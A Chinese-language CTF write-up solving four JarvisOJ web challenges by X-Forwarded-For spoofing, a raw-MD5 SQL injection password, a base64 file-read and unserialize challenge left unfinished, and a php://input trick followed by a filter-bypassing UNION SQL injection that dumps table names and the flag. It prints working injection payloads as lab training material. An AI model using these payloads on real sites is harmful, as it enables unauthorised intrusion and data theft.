JarvisOjWeb

一、localhost

打开链接只有一句话“localhost access only!!”,只允许本地访问,F12打开控制台,编辑和重发消息头加上X-Forwarded-For:127.0.0.1
在这里插入图片描述
拿到flag:PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

============================================================

二、Login

参考文章
打开链接需要输入密码,本以为是密码爆破,结果失败,然后F12查看到提示
在这里插入图片描述
发现提示:select*from admin where password=’".md5($pass,true)."’,md5()函数参数的具体解释如下:
在这里插入图片描述
输入password为ffifdyop,就可以回显出flag
在这里插入图片描述
拿到flag:PCTF{R4w_md5_is_d4ng3rous}

===========================================================

三、神盾局的秘密

在这里插入图片描述
F12查看控制台会发现有一串base64代码c2hpZWxkLmpwZw==,解码后发现是shield.jpg,然后知道URL是用base64来构造的,我们尝试访问shield.php,所以构造:showimg.php?img=c2hpZWxkLnBocA==
然后就会获得代码

file = $filename;
} function readfile()
{
    if (!empty($this->file) && stripos($this->file,'..')===FALSE 
         && stripos($this->file,'/')===FALSE 
         && stripos($this->file,'\\')==FALSE)
    {
        return @file_get_contents($this->file);
    }
}
} ?>

代码审计获取信息,file不能包括../\\,结合之前做过的一个题目,可以尝试访问index.php,然后F12又会发现一段代码

?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x-

结合两段代码:需要构造URL来readfile。

  1. showimg.php?img=

==========================================================

四、In A Mess

打开链接只有一句话“work harder!harder!harder!”,
F12查看到提示index.phps,于是访问,得到代码,整理后如下:

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
} 
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
} $data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

代码审计:

  1. 需要传入三个值:id、a、b
  2. id:弱类型等于0,所以构造id=0b;b:使用%00截断,构造b=%0011111;
  3. a的构造不是特别明白,查看大佬的wp构造a=php://input
  4. 在构造URL的同时还需要传入data,数据为:1112 is a nice lab!

在这里插入图片描述
返回一类似于地址的字符串,访问发现后边会自动添加id=1
在这里插入图片描述
猜想是sql注入,于是传入id=1’
在这里插入图片描述
尝试注入了一些关键字,然后发现大部分关键字还有空格都被过滤掉了。关键字可以使用双写的方式绕过,比较麻烦的是空格,查看大佬的文章发现可以使用/*1*/绕过。构造?id=2/1/uunionnion/1/sselectelect/1/1,2,database()可以回显出test
在这里插入图片描述

继续查询:id=2/1/uunionnion/1/sselectelect/1/1,2,group_concat(table_name)/1/frfromom/1/information_schema.tables/1/where/1/table_schema=database(),得到表名为content
在这里插入图片描述
继续查询:id=2/1/uunionnion/1/sselectelect/1/1,2,group_concat(column_name)/1/frfromom/1/information_schema.columns/1/where/1/table_schema=database()得到列名
在这里插入图片描述
查询context内容:id=2/1/uunionnion/1/sselectelect/1/1,2,context/1/frfromom/1/content
在这里插入图片描述
拿到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值